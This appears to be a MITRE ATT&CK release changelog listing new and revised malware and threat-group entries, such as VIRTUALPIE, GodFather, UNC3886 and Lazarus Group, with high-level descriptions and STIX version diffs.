VIRTUALPIE is a lightweight backdoor written in Python that spawns an IPv6 listener on a VMware ESXi server and features command line execution, file transfer, and reverse shell capabilities. VIRTUALPIE has been in use since at least 2022 including by UNC3886 who installed it via malicious vSphere Installation Bundles (VIBs).(Citation: Google Cloud Threat Intelligence ESXi VIBs 2022)


[S1217] VIRTUALPITA

Current version: 1.0

Description:

VIRTUALPITA is a passive backdoor with ESXi and Linux vCenter variants capable of command execution, file transfer, and starting and stopping processes. VIRTUALPITA has been in use since at least 2022 including by UNC3886 who leveraged malicious vSphere Installation Bundles (VIBs) for install on ESXi hypervisors.(Citation: Google Cloud Threat Intelligence ESXi VIBs 2022)


[S1248] XORIndex Loader

Current version: 1.0

Description:

XORIndex Loader is a XOR-encoded loader that collects host data, decodes follow-on scripts and acts as a downloader for the BeaverTail malware. XORIndex Loader was first reported in June 2025. XORIndex Loader has been leveraged by North Korea-affiliated threat actors identified as Contagious Interview. XORIndex Loader has been delivered to victims through code repository sites utilizing typo squatting naming conventions of various npm packages.(Citation: Socket BeaverTail XORIndex HexEval Contagious Interview July 2025)

Major Version Changes

[S0681] Lizar

Current version: 2.0

Version changed from: 1.0 → 2.0

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:38:44.147000+00:002025-10-03 14:46:54.018000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.02.0
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'DiceLoader', 'description': '(Citation: Cocomazzi FIN7 Reboot)'}
external_references{'source_name': 'Icebot', 'description': '(Citation: Cocomazzi FIN7 Reboot) '}
external_references{'source_name': 'Cocomazzi FIN7 Reboot', 'description': 'Cocomazzi, Antonio. (2024, July 17). FIN7 Reboot | Cybercrime Gang Enhances Ops with New EDR Bypasses and Automated Attacks. Retrieved September 24, 2025.', 'url': 'https://www.sentinelone.com/labs/fin7-reboot-cybercrime-gang-enhances-ops-with-new-edr-bypasses-and-automated-attacks/'}
x_mitre_aliasesIcebot
x_mitre_aliasesDiceLoader
x_mitre_contributorsMatt Brenton
Minor Version Changes

[S0456] Aria-body

Current version: 1.3

Version changed from: 1.2 → 1.3

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-11 02:58:53.131000+00:002025-10-22 02:32:48.657000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.21.3

[S0473] Avenger

Current version: 1.2

Version changed from: 1.1 → 1.2

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-11 02:56:34.181000+00:002025-10-22 03:24:56.552000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.11.2

[S0520] BLINDINGCAN

Current version: 1.2

Version changed from: 1.1 → 1.2

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-11 02:51:38.922000+00:002025-10-21 03:13:35.145000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.11.2

[S0239] Bankshot

Current version: 1.2

Version changed from: 1.1 → 1.2

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:42:48.512000+00:002025-10-22 02:26:07.951000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.11.2

[S1070] Black Basta

Current version: 1.2

Version changed from: 1.1 → 1.2

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:12:30.748000+00:002025-10-21 03:10:03.937000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.11.2

[S1068] BlackCat

Current version: 1.1

Version changed from: 1.0 → 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:38:07.230000+00:002025-10-21 15:28:37.027000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.01.1

[S0137] CORESHELL

Current version: 2.2

Version changed from: 2.1 → 2.2

Details
values_changed
STIX FieldOld valueNew Value
modified2024-11-17 14:43:38.590000+00:002025-10-22 02:47:28.036000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version2.12.2

[S0674] CharmPower

Current version: 1.1

Version changed from: 1.0 → 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:43:49.304000+00:002025-06-06 14:12:30.197000+00:00
x_mitre_version1.01.1

[S0591] ConnectWise

Current version: 1.1

Version changed from: 1.0 → 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:38:53.716000+00:002025-10-13 20:02:57.828000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.01.1

[S1111] DarkGate

Current version: 1.1

Version changed from: 1.0 → 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-22 22:18:48.564000+00:002025-10-21 03:02:05.582000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.01.1

[S0091] Epic

Current version: 1.4

Version changed from: 1.3 → 1.4

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:43:41.197000+00:002025-10-22 02:34:29.842000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.31.4

[S0181] FALLCHILL

Current version: 1.3

Version changed from: 1.2 → 1.3

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:45:10.924000+00:002025-10-22 02:30:54.011000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.21.3

[S0376] HOPLIGHT

Current version: 1.4

Version changed from: 1.3 → 1.4

Details
values_changed
STIX FieldOld valueNew Value
modified2024-02-09 19:24:50.164000+00:002025-10-22 02:57:05.402000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.31.4

[S0697] HermeticWiper

Current version: 1.2

Version changed from: 1.1 → 1.2

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-11 02:22:04.078000+00:002025-10-21 23:23:39.286000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.11.2

[S0271] KEYMARBLE

Current version: 1.2

Version changed from: 1.1 → 1.2

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:42:43.623000+00:002025-10-22 02:28:32.075000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.11.2

[S0356] KONNI

Current version: 2.2

Version changed from: 2.1 → 2.2

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-11 01:44:46.026000+00:002025-10-21 03:20:18.481000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version2.12.2

[S0265] Kazuar

Current version: 1.4

Version changed from: 1.3 → 1.4

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:43:19.859000+00:002025-10-21 23:25:05.477000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.31.4

[S0680] LitePower

Current version: 1.1

Version changed from: 1.0 → 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:38:22.811000+00:002025-10-21 22:49:31.186000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.01.1

[S1199] LockBit 2.0

Current version: 1.1

Version changed from: 1.0 → 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2025-02-06 18:59:08.263000+00:002025-10-21 17:57:24.341000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.01.1

[S1202] LockBit 3.0

Current version: 1.1

Version changed from: 1.0 → 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2025-02-06 19:00:57.083000+00:002025-10-21 23:34:46.898000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.01.1

[S1016] MacMa

Current version: 2.1

Version changed from: 2.0 → 2.1

Details
values_changed
STIX FieldOld valueNew Value
modified2024-07-26 17:48:10.580000+00:002025-10-21 03:17:00.503000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version2.02.1

[S0409] Machete

Current version: 2.2

Version changed from: 2.1 → 2.2

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:38:02.252000+00:002025-06-06 14:13:34.557000+00:00
x_mitre_version2.12.2

[S1060] Mafalda

Current version: 1.2

Version changed from: 1.1 → 1.2

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-11 00:49:47.226000+00:002025-10-21 22:47:45.475000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.11.2

[S1026] Mongall

Current version: 1.1

Version changed from: 1.0 → 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:38:16.324000+00:002025-10-21 23:07:12.767000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.01.1

[S0353] NOKKI

Current version: 1.2

Version changed from: 1.1 → 1.2

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:42:35.581000+00:002025-10-22 03:14:37.092000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.11.2

[S1147] Nightdoor

Current version: 1.1

Version changed from: 1.0 → 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2024-10-10 14:35:13.781000+00:002025-10-21 23:09:37.402000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.01.1

[S1100] Ninja

Current version: 1.1

Version changed from: 1.0 → 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-17 22:02:37.451000+00:002025-10-22 02:17:48.978000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.01.1

[S0340] Octopus

Current version: 2.1

Version changed from: 2.0 → 2.1

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:38:39.717000+00:002025-10-22 02:21:47.267000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version2.02.1

[S0208] Pasam

Current version: 1.2

Version changed from: 1.1 → 1.2

Details
values_changed
STIX FieldOld valueNew Value
modified2024-11-17 19:55:07.592000+00:002025-10-21 23:00:57.240000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.11.2

[S0587] Penquin

Current version: 1.3

Version changed from: 1.2 → 1.3

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-11 00:27:30.199000+00:002025-10-22 03:16:19.980000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.21.3

[S0238] Proxysvc

Current version: 1.3

Version changed from: 1.2 → 1.3

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:42:34.849000+00:002025-10-22 03:00:39.798000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.21.3

[S0496] REvil

Current version: 2.3

Version changed from: 2.2 → 2.3

Details
values_changed
STIX FieldOld valueNew Value
modified2024-11-17 23:08:38.543000+00:002025-10-22 02:14:27.600000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version2.22.3

[S1148] Raccoon Stealer

Current version: 1.1

Version changed from: 1.0 → 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2024-10-11 14:44:53.661000+00:002025-10-14 21:40:02.258000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.01.1

[S1040] Rclone

Current version: 1.2

Version changed from: 1.1 → 1.2

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-04 03:50:32.975000+00:002025-10-14 18:39:05.993000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.11.2

[S0172] Reaver

Current version: 1.3

Version changed from: 1.2 → 1.3

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-11 00:21:09.543000+00:002025-10-22 03:21:09.704000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.21.3

[S0125] Remsec

Current version: 1.5

Version changed from: 1.4 → 1.5

Details
values_changed
STIX FieldOld valueNew Value
modified2024-08-05 18:23:59.724000+00:002025-06-06 14:56:00.296000+00:00
x_mitre_version1.41.5

[S1073] Royal

Current version: 1.2

Version changed from: 1.1 → 1.2

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:38:20.361000+00:002025-10-21 03:24:27.158000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.11.2

[S0253] RunningRAT

Current version: 1.2

Version changed from: 1.1 → 1.2

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:43:33.592000+00:002025-10-22 03:02:12.918000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.11.2

[S0533] SLOTHFULMEDIA

Current version: 1.1

Version changed from: 1.0 → 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2024-09-12 19:39:44.514000+00:002025-10-21 22:55:49.669000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.01.1

[S1049] SUGARUSH

Current version: 1.1

Version changed from: 1.0 → 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:38:04.465000+00:002025-10-22 02:19:45.278000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.01.1

[S1168] SampleCheck5000

Current version: 1.1

Version changed from: 1.0 → 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2024-11-26 19:54:38.780000+00:002025-10-22 03:12:00.816000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.01.1

[S1085] Sardonic

Current version: 1.1

Version changed from: 1.0 → 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2023-10-04 15:36:06.160000+00:002025-10-22 02:07:46.452000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.01.1

[S0596] ShadowPad

Current version: 1.3

Version changed from: 1.2 → 1.3

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:38:41.797000+00:002025-10-22 03:18:16.948000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.21.3

[S0516] SoreFang

Current version: 1.1

Version changed from: 1.0 → 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:44:55.728000+00:002025-10-22 02:39:07.705000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.01.1

[S1034] StrifeWater

Current version: 1.1

Version changed from: 1.0 → 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:38:45.234000+00:002025-06-06 14:56:56.321000+00:00
x_mitre_version1.01.1

[S0663] SysUpdate

Current version: 1.3

Version changed from: 1.2 → 1.3

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-10 23:44:19.752000+00:002025-10-21 23:26:56.446000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.21.3

[S0183] Tor

Current version: 1.4

Version changed from: 1.3 → 1.4

Details
values_changed
STIX FieldOld valueNew Value
modified2025-03-25 22:52:49.139000+00:002025-09-29 20:22:30.453000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.31.4

[S1065] Woody RAT

Current version: 1.2

Version changed from: 1.1 → 1.2

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-10 20:34:14.166000+00:002025-10-21 03:29:54.769000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.11.2

[S0251] Zebrocy

Current version: 3.1

Version changed from: 3.0 → 3.1

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:44:17.288000+00:002025-10-22 02:49:35.030000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version3.03.1

[S0095] ftp

Current version: 2.2

Version changed from: 2.1 → 2.2

Details
values_changed
STIX FieldOld valueNew Value
modified2024-08-14 15:21:48.196000+00:002025-06-04 16:11:23.752000+00:00
x_mitre_version2.12.2

[S1048] macOS.OSAMiner

Current version: 1.1

Version changed from: 1.0 → 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:37:59.825000+00:002025-10-22 02:37:07.176000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.01.1

[S0508] ngrok

Current version: 1.4

Version changed from: 1.3 → 1.4

Details
values_changed
STIX FieldOld valueNew Value
modified2024-11-27 21:35:52.624000+00:002025-10-16 19:37:56.911000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.31.4

[S0248] yty

Current version: 1.3

Version changed from: 1.2 → 1.3

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:42:35.950000+00:002025-10-22 03:06:38.183000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.21.3
Patches

[S0363] Empire

Current version: 1.8

+ + + + + + + + + + + + + + + + + +

Old Description
New Description
t1[Empire](https://attack.mitre.org/software/S0363) is an opent1[Empire](https://attack.mitre.org/software/S0363) is an open
> source, cross-platform remote administration and post-explo>-source, cross-platform remote administration and post-explo
>itation framework that is publicly available on GitHub. Whil>itation framework that is publicly available on GitHub. Whil
>e the tool itself is primarily written in Python, the post-e>e the tool itself is primarily written in Python, the post-e
>xploitation agents are written in pure [PowerShell](https://>xploitation agents are written in pure [PowerShell](https://
>attack.mitre.org/techniques/T1059/001) for Windows and Pytho>attack.mitre.org/techniques/T1059/001) for Windows and Pytho
>n for Linux/macOS. [Empire](https://attack.mitre.org/softwar>n for Linux/macOS. [Empire](https://attack.mitre.org/softwar
>e/S0363) was one of five tools singled out by a joint report>e/S0363) was one of five tools singled out by a joint report
> on public hacking tools being widely used by adversaries.(C> on public hacking tools being widely used by adversaries.(C
>itation: NCSC Joint Report Public Tools)(Citation: Github Po>itation: NCSC Joint Report Public Tools)(Citation: Github Po
>werShell Empire)(Citation: GitHub ATTACK Empire)>werShell Empire)(Citation: GitHub ATTACK Empire)
Details
values_changed
STIX FieldOld valueNew Value
modified2024-09-25 20:32:02.152000+00:002025-10-24 03:33:19.777000+00:00
description[Empire](https://attack.mitre.org/software/S0363) is an open source, cross-platform remote administration and post-exploitation framework that is publicly available on GitHub. While the tool itself is primarily written in Python, the post-exploitation agents are written in pure [PowerShell](https://attack.mitre.org/techniques/T1059/001) for Windows and Python for Linux/macOS. [Empire](https://attack.mitre.org/software/S0363) was one of five tools singled out by a joint report on public hacking tools being widely used by adversaries.(Citation: NCSC Joint Report Public Tools)(Citation: Github PowerShell Empire)(Citation: GitHub ATTACK Empire)[Empire](https://attack.mitre.org/software/S0363) is an open-source, cross-platform remote administration and post-exploitation framework that is publicly available on GitHub. While the tool itself is primarily written in Python, the post-exploitation agents are written in pure [PowerShell](https://attack.mitre.org/techniques/T1059/001) for Windows and Python for Linux/macOS. [Empire](https://attack.mitre.org/software/S0363) was one of five tools singled out by a joint report on public hacking tools being widely used by adversaries.(Citation: NCSC Joint Report Public Tools)(Citation: Github PowerShell Empire)(Citation: GitHub ATTACK Empire)
x_mitre_attack_spec_version3.2.03.3.0

[S0013] PlugX

Current version: 3.2

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-04 17:15:48.780000+00:002025-09-11 18:28:54.041000+00:00
x_mitre_attack_spec_version3.2.03.3.0

mobile-attack

New Software

[S1225] CherryBlos

Current version: 1.0

Description:

CherryBlos is an Android malware that steals credentials and redirects cryptocurrency to adversary-controlled wallets. CherryBlos was labelled Robot 999 in its first appearance in April 2023; since then, various aliases have been used, including GPTalk, Happy Miner, and SynthNet. The threat actors behind CherryBlos uploaded the malware to different Google Play regions, such as Malaysia, Vietnam, Indonesia, Philippines, Uganda, and Mexico.(Citation: TrendMicro_CherryBlos_July2023)


[S1243] DCHSpy

Current version: 1.0

Description:

DCHSpy is an Android spyware likely used by MuddyWater. DCHSpy uses political decoys and masquerades as legitimate applications, such as VPNs and banking applications, to trick victims into downloading the malware. Once downloaded, DCHSpy collects information from the device and exfiltrates the data to the command and control (C2) server.(Citation: Lookout_DCHSpy_July2025)


[S1231] GodFather

Current version: 1.0

Description:

GodFather is an Android banking malware that uses virtualization to mimic legitimate applications and abuses accessibility services and other permissions to evade detection and exfiltrate sensitive data. First identified in 2020, GodFather targets nearly 500 banking applications, cryptocurrency wallets, and exchanges worldwide; however, its virtualization-based attacks have primarily focused on several Turkish financial institutions. This capability enables threat actors to steal banking credentials and other sensitive account information. (Citation: ZimperiumOrtegaPratapagiri_GodFather_Jun2025)(Citation: MerkleScience_Godfather_April2023)


[S1241] RatMilad

Current version: 1.0

Description:

RatMilad is an Android remote access tool (RAT) with spyware functionality that has been used to target enterprise mobile devices in the Middle East since at least 2021. Variants of RatMilad have been disguised as VPN applications and a fake app named NumRent. Upon installation, RatMilad employs multiple Collection techniques to collect sensitive information before uploading the collected data to its command and control (C2) server. (Citation: ZimperiumGupta_RatMilad_Oct2022)

Major Version Changes

[S1083] Chameleon

Current version: 2.0

Version changed from: 1.0 → 2.0

+ + + + + + + + + + + + + + + + +

Old Description
New Description
t1[Chameleon](https://attack.mitre.org/software/S1083) is an At1[Chameleon](https://attack.mitre.org/software/S1083) is an A
>ndroid banking trojan that can leverage Android’s Accessibil>ndroid banking trojan that can leverage Android’s Accessibil
>ity Services to perform malicious activities. Believed to ha>ity Services to perform malicious activities. Believed to ha
>ve been first active in January 2023, [Chameleon](https://at>ve been first active in January 2023, [Chameleon](https://at
>tack.mitre.org/software/S1083) has been observed targeting u>tack.mitre.org/software/S1083) has been observed targeting u
>sers in Australia and Poland by masquerading as official app>sers in Australia and Poland by masquerading as official app
>s.(Citation: cyble_chameleon_0423)>lications. A new variant of [Chameleon](https://attack.mitre
 >.org/software/S1083) has expanded its targets to include And
 >roid users in the United Kingdom and Italy.(Citation: cyble_
 >chameleon_0423)(Citation: ThreatFabric_Chameleon_Dec2023) 
Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:22:06.355000+00:002025-10-24 03:53:35.020000+00:00
description[Chameleon](https://attack.mitre.org/software/S1083) is an Android banking trojan that can leverage Android’s Accessibility Services to perform malicious activities. Believed to have been first active in January 2023, [Chameleon](https://attack.mitre.org/software/S1083) has been observed targeting users in Australia and Poland by masquerading as official apps.(Citation: cyble_chameleon_0423)[Chameleon](https://attack.mitre.org/software/S1083) is an Android banking trojan that can leverage Android’s Accessibility Services to perform malicious activities. Believed to have been first active in January 2023, [Chameleon](https://attack.mitre.org/software/S1083) has been observed targeting users in Australia and Poland by masquerading as official applications. A new variant of [Chameleon](https://attack.mitre.org/software/S1083) has expanded its targets to include Android users in the United Kingdom and Italy.(Citation: cyble_chameleon_0423)(Citation: ThreatFabric_Chameleon_Dec2023)
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.02.0
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'ThreatFabric_Chameleon_Dec2023', 'description': 'ThreatFabric. (2023, December 21). Android Banking Trojan Chameleon can now bypass any Biometric Authentication. Retrieved July 7, 2025.', 'url': 'https://www.threatfabric.com/blogs/android-banking-trojan-chameleon-is-back-in-action'}
x_mitre_contributorsLiran Ravich, CardinalOps

ics-attack

Minor Version Changes

[S0496] REvil

Current version: 2.3

Version changed from: 2.2 → 2.3

Details
values_changed
STIX FieldOld valueNew Value
modified2024-11-17 23:08:38.543000+00:002025-10-22 02:14:27.600000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version2.22.3

Groups

enterprise-attack

New Groups

[G1049] AppleJeus

Current version: 1.0

Description:

AppleJeus is a North Korean state-sponsored threat group attributed to the Reconnaissance General Bureau. Associated with the broader Lazarus Group umbrella of actors, AppleJeus has been active since at least 2018 and is closely aligned in resources with TEMP.hermit, another DPRK-affiliated group under the same umbrella.(Citation: dtex DPRK 2025 structure ITworkers) The group’s primary mission is to generate and launder revenue to provide financial support to the government. AppleJeus primarily targets the cryptocurrency industry and is most notably responsible for the 3CX Supply Chain Attack.(Citation: Mandiant 3cx UNC4736 2023) The group traditionally deploys malicious cryptocurrency software in combination with Phishing. From these compromised environments, it selectively deploys additional backdoors to enable extended operations against high-value financial targets.(Citation: Mandiant DPRK Groups 2023)(Citation: JPCert Blog Laz Subgroups 2025)


[G1052] Contagious Interview

Current version: 1.0

Description:

Contagious Interview is a North Korea–aligned threat group active since 2023. The group conducts both cyberespionage and financially motivated operations, including the theft of cryptocurrency and user credentials. Contagious Interview targets Windows, Linux, and macOS systems, with a particular focus on individuals engaged in software development and cryptocurrency-related activities. (Citation: Validin Contagious Interview North Korea ClickFix January 2025)(Citation: Esentire ContagiousInterview BeaverTail InvisibleFerret November 2024)(Citation: Datadog Contagious Interview Tenacious Pungsan October 2024)(Citation: Recorded Future Contagious Inteview BeaverTail InvisibleFerret OtterCookie February 2025)(Citation: ESET Contagious Interview BeaverTail InvisibleFerret February 2025)(Citation: Zscaler ContagiousInterview BeaverTail InvisibleFerret November 2024)(Citation: PaloAlto ContagiousInterview BeaverTail InvisibleFerret November 2023)(Citation: PaloAlto Unit42 ContagiousInterview BeaverTail InvisibileFerret October 2024)


[G1051] Medusa Group

Current version: 1.0

Description:

Medusa Group has been active since at least 2021 and was initially operated as a closed ransomware group before evolving into a Ransomware-as-a-Service (RaaS) operation. Some reporting indicates that certain attacks may still be conducted directly by the ransomware’s core developers. Public sources have also referred to the group as “Spearwing” or “Medusa Actors.” (Citation: CISA Medusa Group Medusa Ransomware March 2025) (Citation: Broadcom Medusa Ransomware Medusa Group March 2025) Medusa Group employs living-off-the-land techniques, frequently leveraging publicly available tools and common remote management software to conduct operations. The group engages in double extortion tactics, exfiltrating data prior to encryption and threatening to publish stolen information if ransom demands are not met. (Citation: Security Scorecard Medusa Ransomware January 2024) For initial access, Medusa Group has exploited publicly known vulnerabilities, conducted phishing campaigns, and used credentials or access purchased from Initial Access Brokers (IABs). The group is opportunistic and has targeted a wide range of sectors globally. (Citation: Intel471 Medusa Ransomware May 2025)


[G1053] Storm-0501

Current version: 1.0

Description:

Storm-0501 is a financially motivated cyber criminal group that uses commodity and open-source tools to conduct ransomware operations. Storm-0501 has been active since 2021 and has previously been affiliated with Sabbath Ransomware and other Ransomware-as-a-Service (RaaS) variants such as Hive, BlackCat, Hunters International, LockBit 3.0, and Embargo ransomware.(Citation: Avertium Storm-0501 Sabbath Ransomware Arcane January 2022)(Citation: Microsoft Storm-501 Sabbath Ransomware Embargo September 2024)(Citation: Microsoft Storm-0501 Embargo Ransomware August 2025)(Citation: Google Mandiant Storm-0501 Sabbath Ransomware November 2021)


[G1048] UNC3886

Current version: 1.0

Description:

UNC3886 is a China-nexus cyberespionage group that has been active since at least 2022, targeting defense, technology, and telecommunication organizations located in the United States and the Asia-Pacific-Japan (APJ) regions. UNC3886 has displayed a deep understanding of edge devices and virtualization technologies through the exploitation of zero-day vulnerabilities and the use of novel malware families and utilities.(Citation: Mandiant Fortinet Zero Day)(Citation: Google Cloud Threat Intelligence VMWare ESXi Zero-Day 2023)


[G1050] Water Galura

Current version: 1.0

Description:

Water Galura are the operators of the Qilin Ransomware-as-a-Service (RaaS) who handle payload generation, ransom negotiations, and the publication of stolen data for Qilin affilates recruited on Russian cybercrime forums. Water Galura have been active since at least 2022 and use a double extortion model where they demand payment for providing decryption keys and for refraining from publishing the stolen data to their leak site.(Citation: BushidoToken Qilin RaaS JUN 2024)(Citation: Sophos Qilin MSP APR 2025)

Major Version Changes

[G0032] Lazarus Group

Current version: 5.0

Version changed from: 4.1 → 5.0

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1[Lazarus Group](https://attack.mitre.org/groups/G0032) is a t1[Lazarus Group](https://attack.mitre.org/groups/G0032) is a 
>North Korean state-sponsored cyber threat group that has bee>North Korean state-sponsored cyber threat group attributed t
>n attributed to the Reconnaissance General Bureau.(Citation:>o the Reconnaissance General Bureau (RGB). (Citation: US-CER
> US-CERT HIDDEN COBRA June 2017)(Citation: Treasury North Ko>T HIDDEN COBRA June 2017) (Citation: Treasury North Korean C
>rean Cyber Groups September 2019) The group has been active >yber Groups September 2019) [Lazarus Group](https://attack.m
>since at least 2009 and was reportedly responsible for the N>itre.org/groups/G0032) has been active since at least 2009 a
>ovember 2014 destructive wiper attack against Sony Pictures >nd is reportedly responsible for the November 2014 destructi
>Entertainment as part of a campaign named Operation Blockbus>ve wiper attack on Sony Pictures Entertainment, identified b
>ter by Novetta. Malware used by [Lazarus Group](https://atta>y Novetta as part of Operation Blockbuster. Malware used by 
>ck.mitre.org/groups/G0032) correlates to other reported camp>[Lazarus Group](https://attack.mitre.org/groups/G0032) corre
>aigns, including Operation Flame, Operation 1Mission, Operat>lates to other reported campaigns, including Operation Flame
>ion Troy, DarkSeoul, and Ten Days of Rain.(Citation: Novetta>, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Day
> Blockbuster)  North Korean group definitions are known to h>s of Rain.(Citation: Novetta Blockbuster)  North Korea’s cyb
>ave significant overlap, and some security researchers repor>er operations have shown a consistent pattern of adaptation,
>t all North Korean state-sponsored cyber activity under the > forming and reorganizing units as national priorities shift
>name [Lazarus Group](https://attack.mitre.org/groups/G0032) >. These units frequently share personnel, infrastructure, ma
>instead of tracking clusters or subgroups, such as [Andariel>lware, and tradecraft, making it difficult to attribute spec
>](https://attack.mitre.org/groups/G0138), [APT37](https://at>ific operations with high confidence. Public reporting often
>tack.mitre.org/groups/G0067), [APT38](https://attack.mitre.o> uses “Lazarus Group” as an umbrella term for multiple North
>rg/groups/G0082), and [Kimsuky](https://attack.mitre.org/gro> Korean cyber operators conducting espionage, destructive at
>ups/G0094).   >tacks, and financially motivated campaigns.(Citation: Mandia
 >nt DPRK Laz Org Breakdown 2022)(Citation: Mandiant DPRK Grou
 >ps 2023)(Citation: JPCert Blog Laz Subgroups 2025)  
Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 17:21:11.622000+00:002025-10-24 01:29:21.748000+00:00
